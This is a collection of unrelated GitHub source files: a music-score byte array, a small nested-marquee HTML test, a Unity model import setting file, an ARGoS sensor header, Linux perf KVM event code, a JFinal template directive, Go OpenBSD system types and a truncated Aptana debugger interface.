0,222, 0x94,62,127, 0x90,40,127, 0,222, 0x80, 0x84, 0,222, 0x94,62,127, 0x90,40,127, 0,111, 0x80, 0x84, 0,111,
0x94,62,127, 0x90,40,127, 0,111, 0x80, 0x84, 0,111, 0x94,62,127, 0x90,40,127, 0,111, 0x80, 0x84, 0,111, 0x94,62,127,
0x90,45,127, 0x93,45,127, 0x95,62,127, 0x92,59,127, 0x96,67,127, 0,111, 0x82, 0x85, 0,111, 0x95,62,127, 0x92,59,127,
0,111, 0x95,64,127, 0x92,61,127, 0,111, 0x90,66,127, 0x92,62,127, 0x84, 0x85, 0,222, 0x94,62,127, 0x95,45,127,
0,222, 0x84, 0x85, 0,222, 0x94,62,127, 0x95,45,127, 0,111, 0x84, 0x85, 0,111, 0x94,62,127, 0x95,45,127, 0,111,
0x84, 0x85, 0,111, 0x94,62,127, 0x95,40,127, 0,111, 0x84, 0x85, 0,111, 0x94,61,127, 0x90,45,127, 0x91,45,127, 0x93,64,127,
0x92,61,127, 0x95,61,127, 0x96,67,127, 0x87, 1,188, 0x80, 0x84, 0,222, 0x90,45,127, 0x94,61,127, 0,222, 0x80, 0x84,
0,222, 0x90,45,127, 0x94,61,127, 0,111, 0x80, 0x84, 0,111, 0x90,45,127, 0x94,61,127, 0,111, 0x80, 0x84, 0,111,
0x90,45,127, 0x94,61,127, 0,111, 0x80, 0x84, 0,111, 0x90,38,127, 0x94,62,127, 0x91,57,127, 0x93,66,127, 0x95,38,127,
0x96,66,127, 0x97,62,127, 0x82, 0,222, 0x86, 0,111, 0x96,62,127, 0,111, 0x90,57,127, 0x84, 0x86, 0,222, 0x94,62,127,
0x96,38,127, 0,222, 0x84, 0x86, 0,222, 0x94,62,127, 0x96,38,127, 0,111, 0x84, 0x86, 0,111, 0x94,62,127, 0x96,38,127,
0,111, 0x84, 0x86, 0,111, 0x94,62,127, 0x96,38,127, 0,111, 0x84, 0x86, 0,111, 0x92,66,127, 0x94,62,127, 0x95,38,127,
0x96,38,127, 0,222, 0x82, 0,111, 0x92,62,127, 0,111, 0x92,57,127, 0x84, 0x85, 0,222, 0x94,62,127, 0x95,38,127,
0,222, 0x84, 0x85, 0,222, 0x94,62,127, 0x95,38,127, 0,111, 0x84, 0x85, 0,111, 0x94,62,127, 0x90,38,127, 0x95,62,127,
0,111, 0x80, 0x84, 0,111, 0x94,62,127, 0x90,38,127, 0x95,66,127, 0,111, 0x80, 0x84, 0x85, 0,111, 0x94,64,127, 0x90,37,127,
0x93,66,127, 0x95,64,127, 0x96,69,127, 0x97,37,127, 0,222, 0x93,64,127, 0,111, 0x93,63,127, 0,111, 0x90,64,127,
0x83, 0x84, 0,222, 0x94,64,127, 0x93,37,127, 0,222, 0x83, 0x84, 0,222, 0x94,64,127, 0x93,37,127, 0,111, 0x83, 0x84,
0,111, 0x94,64,127, 0x93,37,127, 0x92,62,127, 0,111, 0x83, 0x84, 0,111, 0x94,64,127, 0x93,37,127, 0x92,66,127,
0,111, 0x82, 0x83, 0x84, 0,111, 0x94,64,127, 0x93,37,127, 0x92,66,127, 0x97,37,127, 0,222, 0x92,64,127, 0,111,
0x92,63,127, 0,111, 0x92,64,127, 0x83, 0x84, 0,222, 0x94,64,127, 0x93,37,127, 0,222, 0x83, 0x84, 0,222, 0x94,64,127,
0x93,37,127, 0,111, 0x83, 0x84, 0,111, 0x94,64,127, 0x93,37,127, 0,111, 0x83, 0x84, 0,111, 0x94,64,127, 0x90,37,127,
0x93,62,127, 0,111, 0x90,64,127, 0x83, 0x84, 0,111, 0x94,64,127, 0x91,36,127, 0x90,57,127, 0x93,69,127, 0x95,36,127,
0x96,66,127, 0x97,64,127, 0,222, 0x86, 0,111, 0x96,62,127, 0,111, 0x91,57,127, 0x84, 0x86, 0,222, 0x94,64,127,
0x96,36,127, 0,222, 0x84, 0x86, 0,222, 0x94,64,127, 0x96,36,127, 0,111, 0x84, 0x86, 0,111, 0x94,64,127, 0x96,36,127,
0,111, 0x84, 0x86, 0,111, 0x94,64,127, 0x96,36,127, 0x92,62,127, 0,111, 0x92,64,127, 0x84, 0x86, 0,111, 0x94,62,127,
0x93,36,127, 0x95,62,127, 0x96,69,127, 0x97,36,127, 0x92,66,127, 0,222, 0x82, 0,111, 0x92,62,127, 0,111, 0x92,57,127,
0x83, 0x84, 0,222, 0x94,62,127, 0x93,36,127, 0,222, 0x83, 0x84, 0,222, 0x94,62,127, 0x91,36,127, 0x93,62,127, 0,111,
0x81, 0x83, 0x84, 0,111, 0x94,62,127, 0x91,36,127, 0x93,62,127, 0,111, 0x91,64,127, 0x83, 0x84, 0,111, 0x94,62,127,
0x93,36,127, 0x91,66,127, 0,111, 0x91,67,127, 0x83, 0x84, 0,111, 0x94,62,127, 0x90,35,127, 0x91,59,127, 0x93,67,127,
0x96,35,127, 0x97,69,127, 1,188, 0x80, 0x84, 0,222, 0x94,62,127, 0x90,35,127, 0x97,67,127, 0,111, 0x97,66,127,
0,111, 0x90,67,127, 0x84, 0x87, 0,222, 0x94,62,127, 0x97,35,127, 0x92,62,127, 0,111, 0x82, 0x84, 0x87, 0,111, 0x94,62,127,
0x97,35,127, 0x92,62,127, 0,111, 0x92,64,127, 0x84, 0x87, 0,111, 0x94,62,127, 0x97,35,127, 0x92,66,127, 0,111,
0x92,67,127, 0x84, 0x87, 0,111, 0x94,62,127, 0x93,35,127, 0x96,67,127, 0x97,35,127, 0x92,69,127, 1,188, 0x83, 0x84,
0,222, 0x94,62,127, 0x93,35,127, 0x92,67,127, 0,111, 0x92,66,127, 0,111, 0x92,67,127, 0x83, 0x84, 0,222, 0x94,62,127,
0x93,35,127, 0,111, 0x83, 0x84, 0,111, 0x94,62,127, 0x93,35,127, 0,111, 0x83, 0x84, 0,111, 0x94,62,127, 0x93,35,127,
0,111, 0x83, 0x84, 0,111, 0x94,62,127, 0x90,43,127, 0x91,43,127, 0x93,71,127, 0x95,62,127, 0x96,71,127, 0x97,67,127,
0,222, 0x83, 0,111, 0x93,67,127, 0,111, 0x90,62,127, 0x83, 0x84, 0,222, 0x94,62,127, 0x93,43,127, 0,222, 0x83,
0x84, 0,222, 0x94,62,127, 0x93,43,127, 0,111, 0x83, 0x84, 0,111, 0x94,62,127, 0x93,43,127, 0,111, 0x83, 0x84, 0,111,
0x94,62,127, 0x93,43,127, 0,111, 0x83, 0x84, 0,111, 0x94,62,127, 0x91,43,127, 0x93,43,127, 0x92,71,127, 0x96,71,127,
0,222, 0x82, 0,111, 0x92,67,127, 0,111, 0x92,62,127, 0x81, 0x84, 0,222, 0x94,62,127, 0x91,43,127, 0,222, 0x81,
0x84, 0,222, 0x94,62,127, 0x91,43,127, 0,111, 0x81, 0x84, 0,111, 0x94,62,127, 0x90,43,127, 0x91,67,127, 0,111,
0x80, 0x84, 0,111, 0x94,62,127, 0x90,43,127, 0x91,71,127, 0,111, 0x80, 0x81, 0x84, 0,111, 0x94,64,127, 0x90,42,127,
0x91,71,127, 0x92,64,127, 0x93,64,127, 0x95,69,127, 0x96,42,127, 0x97,66,127, 0,222, 0x91,69,127, 0,111, 0x91,68,127,
0,111, 0x90,69,127, 0x81, 0x84, 0,222, 0x94,64,127, 0x91,42,127, 0,222, 0x81, 0x84, 0,222, 0x94,64,127, 0x91,42,127,
0,111, 0x81, 0x84, 0,111, 0x94,64,127, 0x91,42,127, 0,111, 0x81, 0x84, 0,111, 0x94,64,127, 0x90,42,127, 0x91,74,127,
0,111, 0x80, 0x84, 0,111, 0x94,66,127, 0x90,47,127, 0x91,47,127, 0x93,62,127, 0x92,62,127, 0x95,62,127, 0x96,74,127,
1,188, 0x80, 0x84, 0,222, 0x90,47,127, 0x94,66,127, 0,222, 0x80, 0x84, 0,222, 0x90,47,127, 0x94,66,127, 0,111,
0x80, 0x84, 0,111, 0x90,47,127, 0x94,66,127, 0,111, 0x80, 0x84, 0,111, 0x90,47,127, 0x94,66,127, 0,111, 0x80, 0x84,
0,111, 0x90,46,127, 0x94,65,127, 0x91,62,127, 0x93,70,127, 0x95,46,127, 0x96,62,127, 0x92,62,127, 0x97,65,127,
0,111, 0x86, 0,111, 0x96,62,127, 0,111, 0x96,64,127, 0,111, 0x90,65,127, 0x84, 0x86, 0,222, 0x94,65,127, 0x96,46,127,
0,222, 0x84, 0x86, 0,222, 0x94,65,127, 0x96,46,127, 0,111, 0x84, 0x86, 0,111, 0x94,65,127, 0x96,46,127, 0,111,
0x84, 0x86, 0,111, 0x94,65,127, 0x96,46,127, 0,111, 0x84, 0x86, 0,111, 0x94,65,127, 0x93,46,127, 0x95,46,127, 0x92,58,127,
0x96,74,127, 0,111, 0x82, 0,111, 0x92,58,127, 0,111, 0x92,60,127, 0,111, 0x92,62,127, 0x83, 0x84, 0,222, 0x94,65,127,
0x93,46,127, 0,222, 0x83, 0x84, 0,222, 0x94,65,127, 0x93,46,127, 0,111, 0x83, 0x84, 0,111, 0x94,65,127, 0x93,46,127,
0,111, 0x83, 0x84, 0,111, 0x94,65,127, 0x93,46,127, 0,111, 0x83, 0x84, 0,111, 0x94,65,127, 0x90,48,127, 0x93,48,127,
0x95,62,127, 0x92,58,127, 0x96,74,127, 0,111, 0x82, 0x85, 0,111, 0x95,62,127, 0x92,58,127, 0,111, 0x95,64,127,
0x92,60,127, 0,111, 0x90,65,127, 0x92,62,127, 0x84, 0x85, 0,222, 0x94,65,127, 0x95,48,127, 0,222, 0x84, 0x85, 0,222,
0x94,65,127, 0x95,48,127, 0,111, 0x84, 0x85, 0,111, 0x94,65,127, 0x95,48,127, 0,111, 0x84, 0x85, 0,111, 0x94,65,127,
0x95,43,127, 0,111, 0x84, 0x85, 0,111, 0x94,64,127, 0x90,36,127, 0x91,36,127, 0x93,67,127, 0x92,64,127, 0x95,64,127,
0x96,76,127, 0x87, 1,188, 0x80, 0x84, 0,222, 0x90,36,127, 0x94,64,127, 0,222, 0x80, 0x84, 0,222, 0x90,36,127, 0x94,64,127,
0,111, 0x80, 0x84, 0,111, 0x90,36,127, 0x94,64,127, 0,111, 0x80, 0x84, 0,111, 0x90,36,127, 0x94,64,127, 0,111,
0x80, 0x84, 0,111, 0x81, 0x82, 0x83, 0x85, 0x86, 0xf0};
// This score contains 6294 bytes, and 8 tone generators are used.
| {
"pile_set_name": "Github"
} |
<html>
<body>
<marquee><marquee></marquee><img></marquee>
</body>
</html>
| {
"pile_set_name": "Github"
} |
fileFormatVersion: 2
guid: f3e012b515ad7934fa176c53bf8c2d1f
ModelImporter:
serializedVersion: 25
internalIDToNameTable:
- first:
74: 3227033691032222008
second: Katana|KatanaAction
externalObjects: {}
materials:
importMaterials: 1
materialName: 0
materialSearch: 1
materialLocation: 1
animations:
legacyGenerateAnimations: 4
bakeSimulation: 0
resampleCurves: 1
optimizeGameObjects: 0
motionNodeName:
rigImportErrors:
rigImportWarnings:
animationImportErrors:
animationImportWarnings:
animationRetargetingWarnings:
animationDoRetargetingWarnings: 0
importAnimatedCustomProperties: 0
importConstraints: 0
animationCompression: 1
animationRotationError: 0.5
animationPositionError: 0.5
animationScaleError: 0.5
animationWrapMode: 0
extraExposedTransformPaths: []
extraUserProperties: []
clipAnimations:
- serializedVersion: 16
name: Katana|KatanaAction
takeName: Katana|KatanaAction
internalID: 3227033691032222008
firstFrame: 0
lastFrame: 599
wrapMode: 0
orientationOffsetY: 0
level: 0
cycleOffset: 0
loop: 0
hasAdditiveReferencePose: 0
loopTime: 0
loopBlend: 0
loopBlendOrientation: 0
loopBlendPositionY: 0
loopBlendPositionXZ: 0
keepOriginalOrientation: 0
keepOriginalPositionY: 1
keepOriginalPositionXZ: 0
heightFromFeet: 0
mirror: 0
bodyMask: 01000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000
curves: []
events: []
transformMask: []
maskType: 3
maskSource: {instanceID: 0}
additiveReferencePoseFrame: 0
isReadable: 0
meshes:
lODScreenPercentages: []
globalScale: 1
meshCompression: 0
addColliders: 0
useSRGBMaterialColor: 1
importVisibility: 1
importBlendShapes: 1
importCameras: 1
importLights: 1
swapUVChannels: 0
generateSecondaryUV: 0
useFileUnits: 1
keepQuads: 0
weldVertices: 1
preserveHierarchy: 0
skinWeightsMode: 0
maxBonesPerVertex: 4
minBoneWeight: 0.001
meshOptimizationFlags: -1
indexFormat: 0
secondaryUVAngleDistortion: 8
secondaryUVAreaDistortion: 15.000001
secondaryUVHardAngle: 88
secondaryUVPackMargin: 4
useFileScale: 1
tangentSpace:
normalSmoothAngle: 60
normalImportMode: 0
tangentImportMode: 3
normalCalculationMode: 4
legacyComputeAllNormalsFromSmoothingGroupsWhenMeshHasBlendShapes: 0
blendShapeNormalImportMode: 1
normalSmoothingSource: 0
referencedClips: []
importAnimation: 1
copyAvatar: 0
humanDescription:
serializedVersion: 3
human: []
skeleton: []
armTwist: 0.5
foreArmTwist: 0.5
upperLegTwist: 0.5
legTwist: 0.5
armStretch: 0.05
legStretch: 0.05
feetSpacing: 0
globalScale: 1
rootMotionBoneName:
hasTranslationDoF: 0
hasExtraRoot: 0
skeletonHasParents: 1
lastHumanDescriptionAvatarSource: {instanceID: 0}
animationType: 2
humanoidOversampling: 1
additionalBone: 0
userData:
assetBundleName:
assetBundleVariant:
| {
"pile_set_name": "Github"
} |
/**
* @file <argos3/plugins/simulator/sensors/ground_rotzonly_sensor.h>
*
* @author Carlo Pinciroli - <[email protected]>
*/
#ifndef GROUND_ROTZONLY_SENSOR_H
#define GROUND_ROTZONLY_SENSOR_H
#include <string>
#include <map>
namespace argos {
class CGroundRotZOnlySensor;
class CGroundSensorEquippedEntity;
class CFloorEntity;
}
#include <argos3/plugins/robots/generic/control_interface/ci_ground_sensor.h>
#include <argos3/core/utility/math/range.h>
#include <argos3/core/utility/math/rng.h>
#include <argos3/core/simulator/space/space.h>
#include <argos3/core/simulator/sensor.h>
namespace argos {
class CGroundRotZOnlySensor : public CSimulatedSensor,
public CCI_GroundSensor {
public:
CGroundRotZOnlySensor();
virtual ~CGroundRotZOnlySensor() {}
virtual void SetRobot(CComposableEntity& c_entity);
virtual void Init(TConfigurationNode& t_tree);
virtual void Update();
virtual void Reset();
protected:
/** Reference to embodied entity associated to this sensor */
CEmbodiedEntity* m_pcEmbodiedEntity;
/** Reference to floor entity */
CFloorEntity* m_pcFloorEntity;
/** Reference to ground sensor equipped entity associated to this sensor */
CGroundSensorEquippedEntity* m_pcGroundSensorEntity;
/** Random number generator */
CRandom::CRNG* m_pcRNG;
/** Whether to add noise or not */
bool m_bAddNoise;
/** Noise range */
CRange<Real> m_cNoiseRange;
/** Reference to the space */
CSpace& m_cSpace;
};
}
#endif
| {
"pile_set_name": "Github"
} |
#include "../../util/kvm-stat.h"
#include <asm/kvm_perf.h>
define_exit_reasons_table(vmx_exit_reasons, VMX_EXIT_REASONS);
define_exit_reasons_table(svm_exit_reasons, SVM_EXIT_REASONS);
static struct kvm_events_ops exit_events = {
.is_begin_event = exit_event_begin,
.is_end_event = exit_event_end,
.decode_key = exit_event_decode_key,
.name = "VM-EXIT"
};
/*
* For the mmio events, we treat:
* the time of MMIO write: kvm_mmio(KVM_TRACE_MMIO_WRITE...) -> kvm_entry
* the time of MMIO read: kvm_exit -> kvm_mmio(KVM_TRACE_MMIO_READ...).
*/
static void mmio_event_get_key(struct perf_evsel *evsel, struct perf_sample *sample,
struct event_key *key)
{
key->key = perf_evsel__intval(evsel, sample, "gpa");
key->info = perf_evsel__intval(evsel, sample, "type");
}
#define KVM_TRACE_MMIO_READ_UNSATISFIED 0
#define KVM_TRACE_MMIO_READ 1
#define KVM_TRACE_MMIO_WRITE 2
static bool mmio_event_begin(struct perf_evsel *evsel,
struct perf_sample *sample, struct event_key *key)
{
/* MMIO read begin event in kernel. */
if (kvm_exit_event(evsel))
return true;
/* MMIO write begin event in kernel. */
if (!strcmp(evsel->name, "kvm:kvm_mmio") &&
perf_evsel__intval(evsel, sample, "type") == KVM_TRACE_MMIO_WRITE) {
mmio_event_get_key(evsel, sample, key);
return true;
}
return false;
}
static bool mmio_event_end(struct perf_evsel *evsel, struct perf_sample *sample,
struct event_key *key)
{
/* MMIO write end event in kernel. */
if (kvm_entry_event(evsel))
return true;
/* MMIO read end event in kernel.*/
if (!strcmp(evsel->name, "kvm:kvm_mmio") &&
perf_evsel__intval(evsel, sample, "type") == KVM_TRACE_MMIO_READ) {
mmio_event_get_key(evsel, sample, key);
return true;
}
return false;
}
static void mmio_event_decode_key(struct perf_kvm_stat *kvm __maybe_unused,
struct event_key *key,
char *decode)
{
scnprintf(decode, DECODE_STR_LEN, "%#lx:%s",
(unsigned long)key->key,
key->info == KVM_TRACE_MMIO_WRITE ? "W" : "R");
}
static struct kvm_events_ops mmio_events = {
.is_begin_event = mmio_event_begin,
.is_end_event = mmio_event_end,
.decode_key = mmio_event_decode_key,
.name = "MMIO Access"
};
/* The time of emulation pio access is from kvm_pio to kvm_entry. */
static void ioport_event_get_key(struct perf_evsel *evsel,
struct perf_sample *sample,
struct event_key *key)
{
key->key = perf_evsel__intval(evsel, sample, "port");
key->info = perf_evsel__intval(evsel, sample, "rw");
}
static bool ioport_event_begin(struct perf_evsel *evsel,
struct perf_sample *sample,
struct event_key *key)
{
if (!strcmp(evsel->name, "kvm:kvm_pio")) {
ioport_event_get_key(evsel, sample, key);
return true;
}
return false;
}
static bool ioport_event_end(struct perf_evsel *evsel,
struct perf_sample *sample __maybe_unused,
struct event_key *key __maybe_unused)
{
return kvm_entry_event(evsel);
}
static void ioport_event_decode_key(struct perf_kvm_stat *kvm __maybe_unused,
struct event_key *key,
char *decode)
{
scnprintf(decode, DECODE_STR_LEN, "%#llx:%s",
(unsigned long long)key->key,
key->info ? "POUT" : "PIN");
}
static struct kvm_events_ops ioport_events = {
.is_begin_event = ioport_event_begin,
.is_end_event = ioport_event_end,
.decode_key = ioport_event_decode_key,
.name = "IO Port Access"
};
const char * const kvm_events_tp[] = {
"kvm:kvm_entry",
"kvm:kvm_exit",
"kvm:kvm_mmio",
"kvm:kvm_pio",
NULL,
};
struct kvm_reg_events_ops kvm_reg_events_ops[] = {
{ .name = "vmexit", .ops = &exit_events },
{ .name = "mmio", .ops = &mmio_events },
{ .name = "ioport", .ops = &ioport_events },
{ NULL, NULL },
};
const char * const kvm_skip_events[] = {
"HLT",
NULL,
};
int cpu_isa_init(struct perf_kvm_stat *kvm, const char *cpuid)
{
if (strstr(cpuid, "Intel")) {
kvm->exit_reasons = vmx_exit_reasons;
kvm->exit_reasons_isa = "VMX";
} else if (strstr(cpuid, "AMD")) {
kvm->exit_reasons = svm_exit_reasons;
kvm->exit_reasons_isa = "SVM";
} else
return -ENOTSUP;
return 0;
}
| {
"pile_set_name": "Github"
} |
/**
* Copyright (c) 2011-2021, James Zhan 詹波 ([email protected]).
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.jfinal.plugin.activerecord.sql;
import com.jfinal.template.Directive;
import com.jfinal.template.Env;
import com.jfinal.template.TemplateException;
import com.jfinal.template.expr.ast.Const;
import com.jfinal.template.expr.ast.Expr;
import com.jfinal.template.expr.ast.ExprList;
import com.jfinal.template.io.Writer;
import com.jfinal.template.stat.ParseException;
import com.jfinal.template.stat.Scope;
/**
* NameSpaceDirective
*/
public class NameSpaceDirective extends Directive {
static final String NAME_SPACE_KEY = "_NAME_SPACE_";
private String nameSpace;
public void setExprList(ExprList exprList) {
if (exprList.length() == 0) {
throw new ParseException("The parameter of #namespace directive can not be blank", location);
}
if (exprList.length() > 1) {
throw new ParseException("Only one parameter allowed for #namespace directive", location);
}
Expr expr = exprList.getExpr(0);
if (expr instanceof Const && ((Const)expr).isStr()) {
} else {
throw new ParseException("The parameter of #namespace directive must be String", location);
}
this.nameSpace = ((Const)expr).getStr();
}
public void exec(Env env, Scope scope, Writer writer) {
if (scope.get(NAME_SPACE_KEY) != null) {
throw new TemplateException("#namespace directive can not be nested", location);
}
scope.set(NAME_SPACE_KEY, nameSpace);
try {
stat.exec(env, scope, writer);
} finally {
scope.remove(NAME_SPACE_KEY);
}
}
public boolean hasEnd() {
return true;
}
}
| {
"pile_set_name": "Github"
} |
// cgo -godefs types_openbsd.go | go run mkpost.go
// Code generated by the command above; see README.md. DO NOT EDIT.
// +build amd64,openbsd
package unix
const (
SizeofPtr = 0x8
SizeofShort = 0x2
SizeofInt = 0x4
SizeofLong = 0x8
SizeofLongLong = 0x8
)
type (
_C_short int16
_C_int int32
_C_long int64
_C_long_long int64
)
type Timespec struct {
Sec int64
Nsec int64
}
type Timeval struct {
Sec int64
Usec int64
}
type Rusage struct {
Utime Timeval
Stime Timeval
Maxrss int64
Ixrss int64
Idrss int64
Isrss int64
Minflt int64
Majflt int64
Nswap int64
Inblock int64
Oublock int64
Msgsnd int64
Msgrcv int64
Nsignals int64
Nvcsw int64
Nivcsw int64
}
type Rlimit struct {
Cur uint64
Max uint64
}
type _Gid_t uint32
type Stat_t struct {
Mode uint32
Dev int32
Ino uint64
Nlink uint32
Uid uint32
Gid uint32
Rdev int32
Atim Timespec
Mtim Timespec
Ctim Timespec
Size int64
Blocks int64
Blksize int32
Flags uint32
Gen uint32
_ [4]byte
_ Timespec
}
type Statfs_t struct {
F_flags uint32
F_bsize uint32
F_iosize uint32
_ [4]byte
F_blocks uint64
F_bfree uint64
F_bavail int64
F_files uint64
F_ffree uint64
F_favail int64
F_syncwrites uint64
F_syncreads uint64
F_asyncwrites uint64
F_asyncreads uint64
F_fsid Fsid
F_namemax uint32
F_owner uint32
F_ctime uint64
F_fstypename [16]int8
F_mntonname [90]int8
F_mntfromname [90]int8
F_mntfromspec [90]int8
_ [2]byte
Mount_info [160]byte
}
type Flock_t struct {
Start int64
Len int64
Pid int32
Type int16
Whence int16
}
type Dirent struct {
Fileno uint64
Off int64
Reclen uint16
Type uint8
Namlen uint8
_ [4]uint8
Name [256]int8
}
type Fsid struct {
Val [2]int32
}
const (
PathMax = 0x400
)
type RawSockaddrInet4 struct {
Len uint8
Family uint8
Port uint16
Addr [4]byte /* in_addr */
Zero [8]int8
}
type RawSockaddrInet6 struct {
Len uint8
Family uint8
Port uint16
Flowinfo uint32
Addr [16]byte /* in6_addr */
Scope_id uint32
}
type RawSockaddrUnix struct {
Len uint8
Family uint8
Path [104]int8
}
type RawSockaddrDatalink struct {
Len uint8
Family uint8
Index uint16
Type uint8
Nlen uint8
Alen uint8
Slen uint8
Data [24]int8
}
type RawSockaddr struct {
Len uint8
Family uint8
Data [14]int8
}
type RawSockaddrAny struct {
Addr RawSockaddr
Pad [92]int8
}
type _Socklen uint32
type Linger struct {
Onoff int32
Linger int32
}
type Iovec struct {
Base *byte
Len uint64
}
type IPMreq struct {
Multiaddr [4]byte /* in_addr */
Interface [4]byte /* in_addr */
}
type IPv6Mreq struct {
Multiaddr [16]byte /* in6_addr */
Interface uint32
}
type Msghdr struct {
Name *byte
Namelen uint32
_ [4]byte
Iov *Iovec
Iovlen uint32
_ [4]byte
Control *byte
Controllen uint32
Flags int32
}
type Cmsghdr struct {
Len uint32
Level int32
Type int32
}
type Inet6Pktinfo struct {
Addr [16]byte /* in6_addr */
Ifindex uint32
}
type IPv6MTUInfo struct {
Addr RawSockaddrInet6
Mtu uint32
}
type ICMPv6Filter struct {
Filt [8]uint32
}
const (
SizeofSockaddrInet4 = 0x10
SizeofSockaddrInet6 = 0x1c
SizeofSockaddrAny = 0x6c
SizeofSockaddrUnix = 0x6a
SizeofSockaddrDatalink = 0x20
SizeofLinger = 0x8
SizeofIPMreq = 0x8
SizeofIPv6Mreq = 0x14
SizeofMsghdr = 0x30
SizeofCmsghdr = 0xc
SizeofInet6Pktinfo = 0x14
SizeofIPv6MTUInfo = 0x20
SizeofICMPv6Filter = 0x20
)
const (
PTRACE_TRACEME = 0x0
PTRACE_CONT = 0x7
PTRACE_KILL = 0x8
)
type Kevent_t struct {
Ident uint64
Filter int16
Flags uint16
Fflags uint32
Data int64
Udata *byte
}
type FdSet struct {
Bits [32]uint32
}
const (
SizeofIfMsghdr = 0xa8
SizeofIfData = 0x90
SizeofIfaMsghdr = 0x18
SizeofIfAnnounceMsghdr = 0x1a
SizeofRtMsghdr = 0x60
SizeofRtMetrics = 0x38
)
type IfMsghdr struct {
Msglen uint16
Version uint8
Type uint8
Hdrlen uint16
Index uint16
Tableid uint16
Pad1 uint8
Pad2 uint8
Addrs int32
Flags int32
Xflags int32
Data IfData
}
type IfData struct {
Type uint8
Addrlen uint8
Hdrlen uint8
Link_state uint8
Mtu uint32
Metric uint32
Rdomain uint32
Baudrate uint64
Ipackets uint64
Ierrors uint64
Opackets uint64
Oerrors uint64
Collisions uint64
Ibytes uint64
Obytes uint64
Imcasts uint64
Omcasts uint64
Iqdrops uint64
Oqdrops uint64
Noproto uint64
Capabilities uint32
_ [4]byte
Lastchange Timeval
}
type IfaMsghdr struct {
Msglen uint16
Version uint8
Type uint8
Hdrlen uint16
Index uint16
Tableid uint16
Pad1 uint8
Pad2 uint8
Addrs int32
Flags int32
Metric int32
}
type IfAnnounceMsghdr struct {
Msglen uint16
Version uint8
Type uint8
Hdrlen uint16
Index uint16
What uint16
Name [16]int8
}
type RtMsghdr struct {
Msglen uint16
Version uint8
Type uint8
Hdrlen uint16
Index uint16
Tableid uint16
Priority uint8
Mpls uint8
Addrs int32
Flags int32
Fmask int32
Pid int32
Seq int32
Errno int32
Inits uint32
Rmx RtMetrics
}
type RtMetrics struct {
Pksent uint64
Expire int64
Locks uint32
Mtu uint32
Refcnt uint32
Hopcount uint32
Recvpipe uint32
Sendpipe uint32
Ssthresh uint32
Rtt uint32
Rttvar uint32
Pad uint32
}
type Mclpool struct{}
const (
SizeofBpfVersion = 0x4
SizeofBpfStat = 0x8
SizeofBpfProgram = 0x10
SizeofBpfInsn = 0x8
SizeofBpfHdr = 0x14
)
type BpfVersion struct {
Major uint16
Minor uint16
}
type BpfStat struct {
Recv uint32
Drop uint32
}
type BpfProgram struct {
Len uint32
_ [4]byte
Insns *BpfInsn
}
type BpfInsn struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}
type BpfHdr struct {
Tstamp BpfTimeval
Caplen uint32
Datalen uint32
Hdrlen uint16
_ [2]byte
}
type BpfTimeval struct {
Sec uint32
Usec uint32
}
type Termios struct {
Iflag uint32
Oflag uint32
Cflag uint32
Lflag uint32
Cc [20]uint8
Ispeed int32
Ospeed int32
}
type Winsize struct {
Row uint16
Col uint16
Xpixel uint16
Ypixel uint16
}
const (
AT_FDCWD = -0x64
AT_SYMLINK_FOLLOW = 0x4
AT_SYMLINK_NOFOLLOW = 0x2
)
type PollFd struct {
Fd int32
Events int16
Revents int16
}
const (
POLLERR = 0x8
POLLHUP = 0x10
POLLIN = 0x1
POLLNVAL = 0x20
POLLOUT = 0x4
POLLPRI = 0x2
POLLRDBAND = 0x80
POLLRDNORM = 0x40
POLLWRBAND = 0x100
POLLWRNORM = 0x4
)
type Sigset_t uint32
type Utsname struct {
Sysname [256]byte
Nodename [256]byte
Release [256]byte
Version [256]byte
Machine [256]byte
}
const SizeofUvmexp = 0x158
type Uvmexp struct {
Pagesize int32
Pagemask int32
Pageshift int32
Npages int32
Free int32
Active int32
Inactive int32
Paging int32
Wired int32
Zeropages int32
Reserve_pagedaemon int32
Reserve_kernel int32
Anonpages int32
Vnodepages int32
Vtextpages int32
Freemin int32
Freetarg int32
Inactarg int32
Wiredmax int32
Anonmin int32
Vtextmin int32
Vnodemin int32
Anonminpct int32
Vtextminpct int32
Vnodeminpct int32
Nswapdev int32
Swpages int32
Swpginuse int32
Swpgonly int32
Nswget int32
Nanon int32
Nanonneeded int32
Nfreeanon int32
Faults int32
Traps int32
Intrs int32
Swtch int32
Softs int32
Syscalls int32
Pageins int32
Obsolete_swapins int32
Obsolete_swapouts int32
Pgswapin int32
Pgswapout int32
Forks int32
Forks_ppwait int32
Forks_sharevm int32
Pga_zerohit int32
Pga_zeromiss int32
Zeroaborts int32
Fltnoram int32
Fltnoanon int32
Fltnoamap int32
Fltpgwait int32
Fltpgrele int32
Fltrelck int32
Fltrelckok int32
Fltanget int32
Fltanretry int32
Fltamcopy int32
Fltnamap int32
Fltnomap int32
Fltlget int32
Fltget int32
Flt_anon int32
Flt_acow int32
Flt_obj int32
Flt_prcopy int32
Flt_przero int32
Pdwoke int32
Pdrevs int32
Pdswout int32
Pdfreed int32
Pdscans int32
Pdanscan int32
Pdobscan int32
Pdreact int32
Pdbusy int32
Pdpageouts int32
Pdpending int32
Pddeact int32
Pdreanon int32
Pdrevnode int32
Pdrevtext int32
Fpswtch int32
Kmapent int32
}
const SizeofClockinfo = 0x14
type Clockinfo struct {
Hz int32
Tick int32
Tickadj int32
Stathz int32
Profhz int32
}
| {
"pile_set_name": "Github"
} |
/**
* Aptana Studio
* Copyright (c) 2005-2011 by Appcelerator, Inc. All Rights Reserved.
* Licensed under the terms of the GNU Public License (GPL) v3 (with exceptions).
* Please see the license.html included with this distribution for details.
* Any modifications to this file must keep this entire header intact.
*/
package com.aptana.js.debug.core.model;
import org.eclipse.debug.core.DebugException;
import org.eclipse.debug.core.model.IVariable;
/**
* @author Max Stepanov
*/
public interface IJSVariable extends IVariable {
/**
* Returns if this variable is a constant
*
* @return boolean
* @throws DebugException
*/
boolean isConst() throws DebugException;
/**
* Returns if this variable is a local variable
*
* @return boolean
* @throws DebugException
*/
boolean isLocal() throws DebugException;
/**
* Returns if this variable is a function argument
*
* @return boolean
